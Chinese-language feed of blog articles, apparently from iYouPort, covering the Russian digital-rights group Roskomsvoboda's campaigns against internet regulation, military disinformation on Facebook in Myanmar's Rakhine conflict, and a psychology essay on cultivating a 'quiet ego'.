尽管在政府委员会遭到了拒绝，但请愿书得到了国家杜马成员的支持。他们提出了一项废除该法律的法案，但该提案甚至没有达到杜马的一读。不久之后，当局通过了一项变本加厉的新法律，允许对“多次侵犯版权”的网站施行永久禁止。

2015年底，俄罗斯最大的洪流跟踪器 RuTracker.org被添加到了该审查列表中。 Roskomsvoboda 的律师试图对该决定提出上诉，但在2016年初，该追踪器被“永久”封锁。

Roskomsvoboda 仍然认为其反对反盗版法的第一次战斗是成功的。“我们是俄罗斯数字行动主义的先驱。我们开辟了新天地。我们意识到有大量的互联网用户支持这一点，并将我们视为该领域的专家。这促使了我们扩大活动，“Kozlyuk 说。

这就是 Roskomsvoboda 开始成为一个倡导团体的方式。它开始发起反对互联网监管的社会运动，并为个人用户提供法律帮助。

在其胜利案例中，该组织列出了与另一项法律措施的斗争：俄罗斯文化部提出的一项法案，该法案引入了一项全球许可措施，俗称“互联网税”。该法案是根据尼基塔·米哈伊洛夫（Nikita Mikhalov）的俄罗斯权利持有人联盟（RSP）的提议提出的。 Mikhalkov 提出了一项税收倡议，每当人们共享受版权保护的内容时都要上税，并且适用于任何互联网用户。互联网服务提供商将负责跟踪用户活动，征税、并将其发送给 RSP。

Roskomsvoboda 发现，该法案在 regulation.gov.ru上的公众意见页

面遭到了水军机器人的攻击，这些机器人对“互联网税”提出了正面的评价。

经营该网站的经济和发展部承认攻击事件并删除了机器人的评论。最终，该部本身并没有批准这个想法，政府也反对它。Mikhalkov 的倡议从未实现过。“我们是一些成功杀死这项法律的人。像这样的例子表明政府工具也可以在联邦层面上起效，至少有时候能，“Kozlyuk 说。

在 Roskomsvoboda 连续六年的运营中，该组织设法挑战了一系列的网络禁令，并干扰因在线转发而导致的几个刑事案件的审判。他们还成功软化了新提出的法案，并参加了一个更广泛的社会运动，该组织认为这导致了俄罗斯刑法典中“反极端主义”第282条的部分转为非刑事化。

“对此我们至少工作了三年，”Sarkis Darbinyan 告诉 Meduza，“我们写信给检察官和最高法院，我们汇编了统计数据和分析，以显示这些案件是多么荒谬，等等。”

 # freeBogatov

反对派数学家德米特里·博加托夫（Dmitry Bogatov）的案件在 Roskomsvoboda 倡导的短暂历史中占有特殊的地位。Bogatov 案是俄罗斯最广泛共鸣的所谓恐怖主义案件之一，2017年4月，这位数学家被指控通过他在系统管理员论坛上发表的极端主义言论“鼓励恐怖主义和大规模混乱”。

控方的证据是一个与 Bogatov 的计算机相匹配的IP地址。这位数学家否认了对他的指控，并解释说，匿名网络 **Tor** 的出口节点位于他的计算机上，使其他用户能够共享他的**IP**地址。

尽管如此，Bogatov 依旧被判入狱了，调查人员坚称他“有罪“。在此案例中，Sarkis Darbinyan 加入了为数学家的辩护，Roskomsvoboda 与其他社会倡导者合作创建了#freeBogatov标签。

几个月后，Bogatov 被释放。对他的指控被撤销，但案件本身并没有结束，当局继续起诉 Stavropol 程序员Vladislav Kuleshov，后者认罪了。*Dmitry Bogatov on trial. Moscow, July 24, 2017*

Roskomsvoboda 尽管取得了一些胜利，但它承认，它还不足以阻止俄罗斯严格的互联网监管运动：该组织的公共活动无法阻止用户数据

存储法、Telegram 禁令或互联网隔离法案。

尽管如此，活动人士说，像 Bogatov 无罪释放的案件正在激励他们继续工作。

“不幸的是，在我们的政治气候中很难取得任何真正的成功，”Artyom Kozlyuk 说。“也许如果没有任何胜利，我们就会开始失去希望。但我们发现我们的工作很有意义。”

Roskomsvoboda 如何保持活跃？

Roskomsvoboda 仍然是一个非常小的组织。根据 Artyom Kozlyuk 的说法，只有大约**10**人全职工作。除了三位领导人外，他们还包括律师、网络编辑、新闻秘书、程序员和系统管理员。

该项目还得到了志愿者的帮助。该项目的技术总监 Stanislav Shakirov 解释说，**Roskomsvoboda** 包括从事编程、翻译和设计等各种职业的**25**至**40**岁的人。唯一能够将他们联系在一起的是对在线自由的信仰。

他们一起通过俄罗斯法院审理案件，并跟踪与互联网监管相关的政府采购情况。他们领导公共活动，在法庭上保护互联网用户，并撰写有关互联网监管的新闻和分析文章。

与此同时，团队的大多数全职成员也经营自己的事业或从事另一项工作。只有少数人依靠 Roskomsvoboda 作为他们的唯一雇主和收入来源。这些组织根本无法为其员工提供高薪，因为其每月预算目前限制在**250,000**卢布左右（**3,910**美元）。

俄罗斯民间反抗很强大，虽然他们经常被主要的国际社会孤立，这源于地缘政治问题，IYP 去年曾分析过这一问题：许多俄罗斯非政府组织和新的民间运动热衷于寻找西方合作伙伴，分享知识并与更广泛的公民社会网络建立联系；然而大多数美国大型资助者已经撤回了资金，详见《俄罗斯变革的希望将来自基层; 随着普京打击公民社会，活动家需要欧盟的支持》。

Roskomsvoboda 未正式注册。其全职员工被正式视为数字权利发展基金会的工作人员，海盗党活动家于**2010**年创建了该基金会。

基金会的负责人，Natalya Malysheva，也是 Roskomsvoboda 的新闻秘书，告诉 Meduza，一开始，活动家们计划利用基金会创建教育材料，但该项目被淘汰了。最终，基金会进行了改造，现在它成为

Roskomsvoboda 的融资机制。

Malysheva 说，在2012年至2016年期间，Roskomsvoboda 的基金会从 Civil Virtue 运动中获得了三笔政府补助金，这些资金占该组织预算的很大一部分。然后，政府停止了向 Roskomsvoboda 捐款 —— 该团体仍然经常申请补助金，但其要求一直被拒绝。其成员尚未收到有关这些拒绝的解释。

在失去政府补助后，Roskomsvoboda 依靠私人捐款、特定项目的募捐活动、以及员工为其他人权活动家完成的网络调试的薪酬继续研究工作。**Roskomsvoboda** 从未申请国际拨款，因为他担心这样的举动会引发俄罗斯政府的迫害。

该组织不断努力扩大其预算。在2019年初，Roskomsvoboda 获得了 Dialog 的资助，这是 Alexey Kudrin 的民事倡议发展基金会。同时 Roskomsvoboda 也转向了众筹。Kozlyuk 表示，该组织希望用户定期付款每月可带来超过500,000卢布（7,820美元）。他们目前提供约50,000至60,000卢布（782美元至938美元）。

由于其组织者的一个项目，数字权利中心，该小组也得到了帮助。该中心还在与技术和互联网相关的案件中提供法律帮助，但不是免费的。起初，该中心是 Roskomsvoboda 的一部分，但后来又分成了一个单独的营利项目。

“Roskomsvoboda 注意到的所有案件都被送到了本中心。在那里，我们仍然处理数字权利案件，但他们的案件并没有明确的公共利益。这是一个商业形势，“Sarkis Darbinyan 说，他也是数字权利中心的合伙人。

该中心帮助企业家了解各国与互联网相关的监管法律，并获得有关ICO相关法律问题的可靠咨询，ICO是一种启动加密货币投资的方法。

Darbinyan 强调，这些服务的市场需求已经有所增加。该中心目前雇用了8名律师。*Natalya Malysheva, Artyom Kozlyuk, Stanislav Shakirov, and Sarkis Darbinyan*

Malysheva 担任两个组织的新闻秘书。该中心的律师还致力于 Roskomsvoboda 的无偿案件。例如，他们为 Roskomnadzor 应圣彼得堡检察官办公室要求阻止的加密货币相关网站的所有者辩护。最终，圣彼得堡市法院裁定此举是非法的，并且在2018年末，法院要求

检察官向其中一个网站的所有者支付150,000卢布（2,346美元）的赔偿。

Roskomsvoboda 的另一个小收入来源是 VPNlove 项目。这是一份付费的**VPN**服务列表，它不与 **Roskomnadzor** 合作，也不会利用用户数据来获取自己的优势。该项目为用户提供了连接到其中一个经过验证为安全的VPN服务的选项，Roskomsvoboda 可以获得部分利润。然而，该组织的代表强调，财务决策不会影响他们在列表中包含或排除服务的决定。

综合起来，这些收入来源仍然不足以让 Roskomsvoboda 积极发展。“我们以某种方式做到了，但我们可以做得更多。我们有很多想法，我们肯定可以采取行动，“Kozlyuk 说。

一个不合理的法律时代

早期，Roskomsvoboda 积极使用投资回报率等政府服务，并在很多场合明确表示它不打算抵制整个政府 —— 只是反对对互联网的监管。

“在我们的分析文本中，尽量不要以像试图推翻某人或类似东西的态度行事。我们试图以更加克制的方式表达我们的想法，就像一个好的媒体，“Kozlyuk 解释道。尽管如此，组织活动已经多次遭到限制。

2016年2月，监管机构 Roskomnadzor 将 Roskomsvoboda 放进了其禁止网站的黑名单中。此举是阿纳帕市法院裁决的结果，该法院于2015年4月裁定，该项目关于规避网站禁令的网页“违反了俄罗斯法律”。 Roskomsvoboda 试图对裁决提出上诉，但没有成功。

最终，该组织设法避免被阻止。 Roskomsvoboda 向通信部发出请求并收到官方回复，声明该网站上的信息是合法的。该文件包括有关 VPN 和 Tor 功能的说明。

事实上，该案文基本上与阿纳帕法院认定的非法案件相同。最后，Roskomsvoboda 只是将自己的页面替换成了该部的官方文件。**Roskomsvoboda** 对阿纳帕市法院的控诉现已进入欧洲人权法院，活动人士打算证明当地法院的命令是非法的。

访问 Roskomsvoboda 的网站在莫斯科的教育机构特别是学校和本科学院是受限的。该组织在2016年发现了这一事实，当时用户试图通过其机构的网络访问被阻止的网站列表。他们得到一条消息，称阻止该

网站是因为它“与恐怖主义和极端主义有关”。该消息没有具体说明这些关系的性质。这是明确的抹黑。

到那时，该网站还没有出现在 Roskomnadzor 的黑名单中：教育机构的在线安全过滤器由一家名为 Bezopasny Internet（安全互联网）的营利性公司制作。该公司是由俄罗斯风险投资公司种子基金控制的投资组合的一部分。 Roskomsvoboda 试图挑战该公司在法庭上阻止它的决定，但到目前为止没有成功。

Kozlyuk 还强调，Roskomsvoboda 目前没有受到任何严重的政府压力。“我们可能只是因为政府对我们施加压力太小，”Artyom Kozlyuk 建议道，“与此同时，我们与高级官员进行了长期对话，我知道他们阅读了我们的内容。最重要的是，他们分享了我们很多想法，但他们不能公开支持我们，因为他们处于如此高的阶层。当然，理想情况下，我们希望废除所有这些法律，但我们不会说他们所有的工作都是胡说八道。我们提出了具体的建议，他们经常同意我们的意见，但随后一切都不会改变。”

负责国家杜马通信和技术委员会的前副部长 Ilya Massukh 和 Leonid Levin 证实，俄罗斯政府官员一直在密切关注 **Roskomsvoboda** 组织的活动。Levin 亲自了解 Kozlyuk，因为尽管他们对在线权利有不同的看法，但他们都是互联网技术社交中心（ROTsIT）的成员。“你不能总是同意 Roskomsvoboda 的观点 – 远非如此 – 但是听取它们肯定是必要的，”Levin 告诉 Meduza。

所有在互联网上工作的俄罗斯官员都知道 Roskomsvoboda 及其对自由在线空间的支持，并且他们认为该组织的观点与他们定义的“青年极端主义”相距甚远，正如俄罗斯互联网监察员 Dmitry Marinichev 所说的那样。

“人们绝对阅读他们并接受他们在个人私人层面上所写的内容，因为他们在政府倡议和法案中寻找问题的能力是非常专业的，”监察专员说。“但就集体反应而言，只是我们正在经历一个扭曲局面的历史时代：政府有时会有办法让社会接受非理性的法律。“

Sergey Plugotarenko 是俄罗斯电子通信协会的主任，该协会为俄罗斯政府的 Mail.Ru集团等互联网巨头公司进行游说。Plugotarenko 认为，即使是比 **Roskomsvoboda** 更专业化的组织 – 例如专业的**IT**协会 – 也可能在让政府官员听取它们意见方面遇到困难。

负责俄罗斯政府通信和信息技术工作组的 Irina Levova 与 Meduza 就

类似问题进行了交谈。 Levova 说，政府官员确实会考虑专家意见，但只是不会改变决定。例如，Levova 的工作组发布了一份关于孤立俄罗斯互联网的法案的批评性报道，但该提议无论如何都通过了国家杜马。 “我们的报告是建议，”Levova 解释说，“我们的座右铭是’做你应该做的就行了’”。

Artyom Kozlyuk 认为，活动家也无法改变政府的路线，因为在线市场上最大的玩家，如 Yandex 或 Mail.Ru，在这些问题上没有采取足够强硬的立场。

“我们真的需要更多像 Durov 这样的人公然反对[政府的决定]，甚至鼓励人们抗议，” Kozlyuk 说。 Yandex 和 Mail.Ru集团的代表没有回应评论请求。

Leonid Volkov 是著名反对派政治家阿列克谢纳瓦尔尼的合伙人，也是互联网防御协会的联合创始人，他说，只有改变政权才能改变俄罗斯互联网监管的局面。

“我真的很佩服 Roskomsvoboda 的人，但在这件事上我确实不太同意他们。我认为官僚们都知道所有这一切，了解所有这些，于是提醒他们这些注意信息不再是问题。这些官僚只是明白互联网可以用来打败他们。“

Roskomsvoboda 的成员坚持认为他们并不打算成为一个政治组织，尽管 Artyom Kozlyuk 在2017年和2018年俄罗斯抗议互联网不自由时发表了演讲。

“我们是一个社会组织，但在俄罗斯，人们总是试图将社会活动与政治活动联系起来。我们不想吝啬某种政治力量。如果统一俄罗斯党碰巧提出有用的互联网法案，我们会支持它，“Kozlyuk 说。

Roskomsvoboda 的领导人补充说，他不愿意在议会目前的政党之一竞选杜马席位，但如果海盗党能够正式登记，他可能会考虑这样做。

2019年4月16日，国家杜马在提案的第三次也是最后一次审议中批准了关于互联网隔离的法案。该法案允许俄罗斯政府控制将俄罗斯互联网部分与网络其他部分连接起来的节点，并在出现所谓的“重大威胁”时关闭该连接。

杜马通讯委员会负责人 Leonid Levin 在议会辩论中明确指出，将 **RuNet** 与万维网断开连接可能会使俄罗斯经济每天损失**200**亿卢布

（超过**3.13**亿美元）。政府估计，实施该法将耗资约**300**亿卢布（约合**4.7**亿美元）。

反法律斗争已经成为 Roskomsvoboda 的主要工作之一。在该法案通过之前，该组织发布了数字防御项目，该项目使用户能够向国家杜马代表发送信息，表达他们对该法案的反对意见。该网站称：否则，俄罗斯人的生活将很快反映出“像奥威尔或布拉德伯里那样的反乌托邦”。

Artyom Kozlyuk 强调，活动家们知道法律会被通过。此外，Roskomsvoboda 认为，政府将在不久的将来继续与互联网作斗争，采取措施惩罚访问被阻止信息的尝试（换句话说，阻止 VPN 或 Tor）；而活动家们表示不会放弃自己的工作。

“在这种政府压力下，我们的组织所做的事是必要的。在一个完美的世界里，我们就不会存在。但是现在，我确信如果不是因为我们的工作和其他活动家正在做的工作，互联网管制将会更快地被推进。并且可能会有更多这些法律出现，“Kozlyuk 说。

**编者按：与俄罗斯一样，中国对海盗党的支持也只限于在线论坛，而且是极小规模的，大部分人还不理解海盗党的理念。虽然目前为止尚未见到海盗党分支在中国的发展，但兴趣的存在一直都是好事。

我们解释过，如果想要赢得胜利，海盗党必需直接参政、公开竞争，参与立法过程，而不是仅仅在事后维权，就如在冰岛和捷克所实现的那样；不过对于有些国家来说，比如俄罗斯或者中国，实现这点的可能性非常低，甚至都很难正式注册为独立党派组织。

不过，令人兴奋的是俄罗斯海盗党执着的反骨，这点是最值得中国社会学习的：俄罗斯反抗者没有那么多的虚无主义。

- 在挫折中士气低落是正常的，俄罗斯反抗者成功抑制了虚无主义的蔓延，并逆转局势推出了新的项目；
- 在合作方面，彼此间的背景差异不应该影响结盟，追求一致是没有必要的也是不可能的，只要具备共同目标和兴趣爱好，积极性就能将人们组织起来；
- 组织的组成结构也很重要，新闻发言人、编辑、工程师、律师，这些部分都是必不可少的；
- 应对包括机器人水军在内的各种网络威胁的能力也很关键，网络攻击针对民间组织的恶意行为已经成为全球很多国家当局维稳的常见方式，如果您不确定所属团队的优势和弱势，可以和

红队合作，他们会帮助做专业的渗透测试；
- 社会动员能力是非常必要的，就如 Roskomsvoboda，能在一个月内收集到100,000个签名，这种影响力和工作效率才有希望获得成功。

IYP 强调过，抗议不是终极目标，目标应该是赢；但更重要的是，如何在暂时没有赢的情况下保存斗志不被削弱，这需要一些自信、乐观、和智慧 —— “做你应该做的”，这一态度是关键，如果你从来都不做只是认为“难以成功”，那么就真的不可能成功了。

原文

"手机就是我们的枪"：网络空间的真相之战 - iYouPort

反抗者-寻求经验地缘政治社会运动和公民社会

Facebook 是一些人群的生命线；他们是最无助和最悲惨的人。不要伤害他们。

虚假消息可能是很严重的问题，事关生命威胁；至少，如我们分析过的《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》。但依靠寡头公司的审查封锁肯定不是解决方案。

「图」

「图」

> 十年前的缅甸，一张*SIM*卡售价高达*2000*美元；如今，*Facebook* 拥有*1800*万本地用户，是若开邦冲突的平行空间……

2月20日，通过 WhatsApp 流传着一些照片。

第一张照片是一位年轻女子，她的脸颊上小心翼翼地涂着传统的檀娜卡；用手托着下巴，甜甜地对着镜头微笑着：这是那种亲人可以保留为手机背景的照片。

随后的照片显示她死在地板上，她的左脸颊被子弹击碎，脸上溅满了鲜血。

根据发布者的说法，她的名字叫 Ma Ye Ye Soe，19岁，属于若开族佛教族群，住在若开邦北部 Rathedaung 乡偏远西部的 Myin Hpu 村。

她被一颗流弹击中，据说是缅甸军队士兵在镇压阿拉干军队的过程中杀死了这个年轻人。

另一名四岁女孩也受伤了。这些细节在一天后于当地媒体上得到了证实，所有这些都是真的，除了 Ma Ye Ye Soe 是18岁而不是19岁。

此后，缅甸军队否认了对杀戮的责任，指责武装分子。

若开邦在**2016**年和**2017**年是种族清洗的战场，对罗兴亚人的几次种族灭绝屠杀造成至少**6700**人死亡，导致**70**多万人逃往邻国孟加拉。

这引起了全世界的谴责，并呼吁国际刑事法院查找负责人，该国的形象以及领导人诺贝尔奖获得者昂山素季的形象瞬间黯然失色。

若开族反叛者与缅甸军队或“缅甸国防军”之间的冲突酝酿已久。迄今为止，暴力事件已造成1万多人流离失所，并对中央政府管理该国冲突地区的能力造成严重破坏。

Ye Ye Soe 的尸体照片在被触发后的几小时内开始在社交媒体上流传；若开族社区的愤怒情绪立即显而易见。

在过去，若开邦缺乏连通性基础设施，这意味着不可能迅速记录侵犯人权和杀害无辜平民的行为。

可以利用这些图像来获得对一场持续冲突的支持，这对缅甸军队和国家信息机构来说都不是新闻：信息公关心理战部门一直试图通过向社交媒体大量发送印度教公民死者的照片来转移对若开邦罗兴亚人暴行的批评，他们声称这些公民被罗兴亚叛乱分子屠杀。

对于今天在缅甸发生的每一场冲突，在网络空间、活动家、民族武装团体、政党、文职政府、和军队本身，都发生了相似的冲突。

「图」

「图」

连通性的新时代

2007年，僧侣们第一次走上缅甸最大规模抗议活动的街头，这是一场即将被粉碎的民众起义，被称为“藏红花革命”；在残酷的军事独裁政权强加的严格审查制度的控制下，这个国家得到了全世界罕见的一瞥。

随着抗议者人数增加到数万人 —— 这是自1988年民主运动以来最重大的起义 —— 该运动被猛烈扼杀，成千上万的持不同政见者被判入

狱。

2007年标志性的镜头之一：安全部队成员近距离枪击日本摄影记者Kenji Nagai的照片，是一位公民记者拍摄到的。

「图」

「图」

Only hours after the death of Kenji Nagai, the outside world could witness how the photographer was pushed to the ground, shot and killed.

这一照片被异议网络迅速上传并分发。

当时，媒体出版前审查的措施已经确实存在，对出版许可和广播权的限制几乎完全是国家垄断。

独立媒体被国家标记为叛徒，外国媒体更是如此，其中一则特别值得火药味的宣传称英国广播公司为“广播杀手，漫天谎言”。

当时，互联网接入是一种昂贵的、普遍过滤的和严重监视的商品，只有精英和那些勇敢的、技术娴熟且耐心的人，才可以使用在城市中心开始出现的网吧提供的缓慢且不可靠的连接。政治动荡时期的互联网中断非常常见。

在20世纪90年代末，小规模的数字行动已经开始形成。尽管受到限制，流亡的持不同政见者、公民记者和国内活动家仍努力在线。

对于这样一个国家来说，这是一个重大转变。军事政权要求在未事先获得部门批准的情况下禁止拥有计算机、调制解调器、传真机或计算机网络 —— 对违规行为的处罚为**7**至**15**年的监禁。

十年前在缅甸，一张SIM卡价值高达2000美元，只有一个运营商没得选。

而现在只需1.5美元，消费者可以从四个运营商中的任何一个获得高速4G，覆盖全国大部分地区。

在这个连通性的新时代，曾经审查互联网和媒体、攻击持不同政见者、并对流亡者媒体进行DDOS攻击的军队，已经转向了对虚假信息的攻击。

独立分析师 David Scott Mathieson 说："破坏性的审查很快被社交媒体的喧嚣所取代，其中政治宣传可以更好的隐藏，实现更有效地阴险。"

- 《操纵式宣传：五个过滤器和识别线索》
- 《宣传战的诡迹》

「图」

「图」

虽然其他社交媒体平台如 Viber、WeChat 和 WhatsApp 在该国都可以使用，但只有 **Facebook** 享有至高无上的地位。

Facebook 在缅甸政治格局中占有独特的地位，拥有1800万用户。反叛组织和国家当局都使用它来发布公报。

在资源匮乏的环境中，许多地方政府办公室仍在使用打字机，而 Facebook 允许政府和军方直接或间接地与公民进行沟通 。

电信数据显示，Facebook 在其高峰时期占据了每日国内网络流量的80％，大多数浏览外部网站都是通过该平台进行的。

Facebook 的巨大影响力吸引了宣传运动。

在2018年末和2019年初，Facebook 宣布它已经封锁了广泛的可直接追溯到缅甸军方的"协调不真实行为"（CIB）活动（"虚假宣传"的含蓄说法）。

第一次大清洗在缅甸封锁了18个帐户和52个主页，其中包括高级军事人员。其中有46个页面和12个从事秘密影响力活动的账户。

这些页面看起来是独立的，但偶尔会推动军事路线，破坏昂山素季政府，并促进反罗兴亚情绪。

总而言之，被禁的账户都有很大的影响力；他们拥有近**1,200**万关注者，约占缅甸所有 **Facebook** 用户的三分之二 。

在被封锁之前，高级将军 Min Aung Hlaing 的两个主页共有400多万粉丝。

Facebook 的一位资深人士非常熟悉 CIB 调查，他表示虽然这种"黑色

宣传”并不新鲜，但它在社交媒体上的存在对那些必须处理它的人来说是一个独特的挑战。

不只是军方被指责在线升级宣传；社会媒体上的仇恨言论也被联合国指出，“为冲突增添了动力”。

联合国实况调查团注意到，在2016年和2017年的罗兴亚危机期间，“民政当局散布了错误的叙述；否认了缅甸国防军的屠杀行为；封锁独立调查，包括联合国实况调查团都被封锁了；并且监督证据的销毁” .....结论认为，民政当局”推动了暴力罪行“。

“昂山素季的国家参赞信息委员会[Facebook]页面上充满了关于恐怖分子的歇斯底里，并暗示[援助机构]正在协助[罗兴亚叛乱分子]”，英国缅甸运动组织的 Mark Farmaner 说。

Facebook 主页上发布的材料指责罗兴亚妇女声称“假强奸”，这些消息仍留在 Facebook 网站上。

「图」

「图」

“手机就是我们的抢”

全球范围内质疑社交媒体对民主进程的影响的呼声越来越高。

在印度，WhatsApp 与一系列私刑和死亡有关；

在菲律宾，协调的 Facebook 和 Twitter 洗脑运动推动了罗德里戈·杜特尔特总统的议程，并直接攻击批评政府的媒体；

尽管有关滥用社交媒体平台的明显警告，科技公司的行动仍然缓慢。

在亚洲，若开邦的暴力事件可能是自该国社交媒体出现以来最令人震惊的事件。

在缅甸，Facebook 一直面临着对其未能在猖獗的仇恨言论中采取行动的强烈批评，联合国授权的事实调查组宣布 Facebook 上的内容在激起对罗兴亚穆斯林少数民族的仇恨方面发挥了“决定性作用”。

该公司表示愿意遵守对保存数据的任何法律要求，并且发布到该网站的材料很可能作为任何国际刑事司法程序的证据。

自从2011年宣布军统过渡到准平民民主选举的议会以来，政治上发挥的作用，与人类历史上最快的数字化推广同时发生。

随着人们开始倒数2015年的选举，这是几十年来第一次可信的民主选举，手机信号塔建立起来了。

但是，数字技术的推出也引发了新的专制镇压。

“当人们发布的内容被认为损害当局的利益或诋毁当局时，网民因撰写对政府的批评而被判入狱。任何公民都有可能被起诉”，表达自由活动家 Maung Saungkha 说。

若开邦州的暴行指控也使该国分裂，被审查的国内媒体报道了这一问题正面临的巨大压力 —— 2017年12月两名路透社记者被监禁的案例充分显示了这一点。

记者 Wa Lone 和 Kyaw Soe Oo 的实地报道曝光了一个叫做 Inn Dinn 的村庄里发生的十名罗兴亚男子被大屠杀的真相。

然而，说真话让两位记者被判处七年监禁。

这两位获得今年普利策新闻奖的记者在上个月被释放，至此已经被关押了500天。

然而，5月份，**7**名因 **Inn Dinn** 村杀人罪被判处**10**年徒刑的士兵在被监禁初期"就被释放了"。

在2019年初，一个名为 Athan（音）的组织报告说，在**2018**年期间，有**103**起案件涉及言论自由，共有**217**人被起诉；其中**9**起案件涉及记者。

在缅甸，与其他地方一样，这种新的虚假信息、错误信息、和政治宣传动态对冲突局势产生的确切影响尚未得到人们的充分理解。

“在社交媒体上使用虚假账户和虚假信息通常被用来操纵公众舆论，给人一种似乎存在普遍共识的幻象。这种虚假共识的制造可能会产生一种随波逐流的效应，即人们表现出支持一种观念或政治权力，只是因为他们害怕自己被边缘化”，未来研究所数字情报实验室主任 Samuel Woolley 说。

- 《巨魔崛起：政府资助的网络水军正遍布全球》

“通常，这种依赖技术的宣传 —— 利用自动化和社交媒体试图引导政治沟通 —— 是为了大规模地强制放大一种观点，同时不成比例地抑制另一种观点”，他说。

在一个新闻业几乎被淘汰的国家，社交媒体提供了对罗兴亚和若开族社区的实地情况的一点洞见。

对于那些被困在冲突地区的平民来说，技术使他们有机会发出呼救声。

正如一位反对派人士所说，“手机就是我们的枪。”

在若开邦，暴力仍在继续。大赦国际的一份新报告指责缅甸军方在新行动中不分青红皂白地袭击平民，导致平民伤亡。

“自从世界对罗兴亚人遭受的大规模暴行感到愤怒不到两年后，缅甸军队再次对若开邦的族群进行了可怕的虐待，”大赦国际东亚和东南区亚地区主任 Nicholas Bequelin 说。〇

The war for truth in Myanmar’s cyberspace. A decade ago in Myanmar, a SIM card could cost as much as $2,000. Facebook now has 18 million local users and is a parallel space for the conflict in Rakhine State

原文

为什么人与人之间的距离越来越远？不仅仅是在线上 - iYouPort

其他社会运动和公民社会

您觉得 “他人” 究竟是什么？自己又是什么？

「图」

「图」

我们生活在这样一个时代：一方面，生活环境比以往任何时候都要好。总的来说，暴力犯罪率、贫困率、以及疾病的发生率都处于历史上的低点。人们的受教育程度和安全保障程度都有显著的提高，寿命和闲暇时间均有明显的增长 …… 但另一方面，人类作为一个物种，正面临着前所未有的分裂。部族主义和身份认同政治在社会上每一个角落蔓延。

Steven Pinker 和其他知识分子认为，这一问题的答案还要从启蒙运动的价值观上说起 —— 诸如理性、个人主义、自由表达各种想法的权利，以及评估这些想法真实性的有效方法。

我同意，这确实有效，但并非解决方案的全部。

在我看来，这个问题中常常会被忽视的那一面才是更为根本的所在，那就是：所有人的自我都太聒噪了。

（我把矛头指向 “所有人”，是因为我相信，包括我自己在内，大家都能在平息自我的过程中获益。培养这样一种人格是一生的事，同时也是我们每个人在日常生活中可以立志做到并且为之付出努力的一种目标。而近来的一些研究也表明，确实有一些行为可以用来平息自我。）

社交媒体上永远都是各种争论，令人烦躁。好像越来越多的人觉得，赢得辩论就是唯一的目标？

辩论不再是善意的、辩证的共同探索，不再被用来寻找真理和能提高人类品性的建设性方法 —— 而是成为了一种武器，人们只想赢过对方，摧毁对方。

别误会我，我和其他人一样，也会觉得能在智力上压制住对手的感觉着实不错。但是，除了这种廉价的兴奋之外，我同样深切地希望这一行为能真正产生积极的结果。

寻求真相并改善社会，也许不是美国职业摔角比赛（WWE）的直接目的，但把这些作为公共讨论的目标无疑是再恰当不过了对吗？

这里还有一个有趣的悖论，即：自我越安静，实际达到目标的可能性就越高。

人们总会严重低估这点：促使我们自我提升的动力其实会严重妨碍我们实现目标的进程 —— 哪怕自我提升就是主要动因。

由于心理学家对 “自我” 这个概念的使用与大众不同，那就首先解释一下本文是怎么定义的。

这里的定义是：自我是指自己不断需要从积极的角度看待自身的方面。再来具体明确一下：自己可以是我们最大的凭仗，但也可以是"最黑暗的敌人"。

一方面，那些用于自我意识、自我反思及自我控制的人类基本能力，确实是实现目标的必需；而另一方面，当任何负面结果可能与自己有关时，它又会想尽办法推卸责任。

一位研究者曾经指出，自己 self 会产生 “一系列自我防卫机制”。我们通过这些防卫性策略来积极地看待自己，而这些防卫性策略就是 “自我”。

一个聒噪的自我把很多时间都花在了自我防卫上，就好像威胁真实存在一样，继而不断维护自身。这种行为的最终结果往往是，阻碍了自己为之奋斗的目标的实现。

近年来 Heidi Wayment 和她的同事一直在进行 “安静自我” 的研究项目。这个项目的基础是佛教哲学和人本主义心理学思想，由正向心理学领域的经验研究支持。

反常的是，研究结果证明，在促进幸福、成长、健康、生产力，以及培养健康、多产的健全人格方面，平息、克制自我的作用要比聒噪地

强调自我提升，要有效得多。

需要澄清的是，安静的自我并不等于沉默的自我。如果过分压迫自我以致彻底丢失了自身的个性，无论对自己还是对世界都没有好处。

相反，安静的自我则强调平衡和整体协调。正如 Wayment 和她的同事指出的那样，“自我的音量被调低了之后，它要努力实现更有人情味、更富同情心的生活方式，就得倾听他人及自己的声音。”

安静自我的关注重点在于平衡自身与他人的利益，基于自我意识、相互的身份以及引发同感的经历，随着时间的推移，完成自己与他人的共同成长。

尝试寻求安静自我的目的在于，让自己取得一个自我防卫性更小的、更开放地面向他人的姿态，绝不是失去自我，也不是否定自己需要得到他人的尊重 —— 你完全可以在保持自我且不必炫耀自己的前提下，培养一个能够接纳他人的真实自我。

安静的自我是拥有健康自尊的表征，表明个人坦然接受自己的局限性，在自我受到挑战的时候不需要诉诸防卫性行为寻求保护，但同时也坚信自己的价值和竞争力。

根据 Bauer 和 Wayment 的说法，安静的自我由4个深度关联且可以自我培养的方面构成：疏离意识、包容性人格、观点采择以及成长式思维。

安静自我的这四大品质有助于培养在自己和他人之间取得平衡并获得成长的一般心态。

1、疏离意识：拥有安静自我的人，对当下的关注是沉浸其中的、而非自我防卫性质的。

他们很清楚当前形势对自己的利和弊，他们的专注力是疏离的、冷静的，而非在自我的驱动下急于对眼下形势作出判断。

相反，他们总是尝试尽可能地看清现实，这就需要他们对自己和他人此时此刻可能出现的状况持开放的和乐于接受的态度，并且让这种时刻尽可能自然展开下去。

拥有疏离意识的人通常还有这样一种能力：他们会反复审视已经出现过的想法和感受，在事后更为客观地检视它们，并且在下一次面对类似情况时作出适当调整，而这又会进一步让他们成长。

2、包容性人格：拥有安静自我的人会更平衡、更综合地看待自身和他人。

他们理解他人观点的方式让他们可以和他人的经历产生共鸣，打破相互之间的壁垒，从而对普遍意义上的人性产生更深刻的理解。

这种理解他人的能力以及随之而来的疏离意识，都有助于培养包容性人格。

这种人格在某些矛盾冲突的时刻，比如身份地位及核心价值观受到挑战的时候，尤其有用。

如果你拥有这种包容性人格，那么你就很可能拥有合作精神，对他人也会产生同理心，而不仅仅是为了自己的利益而活。

3、观点采择：在仔细思考他人观点的过程中，安静自我能将注意力转移到自身之外，增加了个人的同理心。

观点采择和包容性人格这两种特质是紧密相关的，拥有其中任何一个就自然会拥有另一个。一个例子就是，意识到个人与他人的相互依存关系，便可以更好地理解他人的观点。

4、成长式思维：出于对自身及他人的长期亲社会发展和改变的关切，拥有安静自我的人常常会质疑自己当下行为的长期影响，并且会把当下看作是漫长人生旅途的一部分，而不是对自身及存在的一种威胁。

以成长的眼光看待问题的心态，为理解不同观点扫清了障碍，腾出了空间。

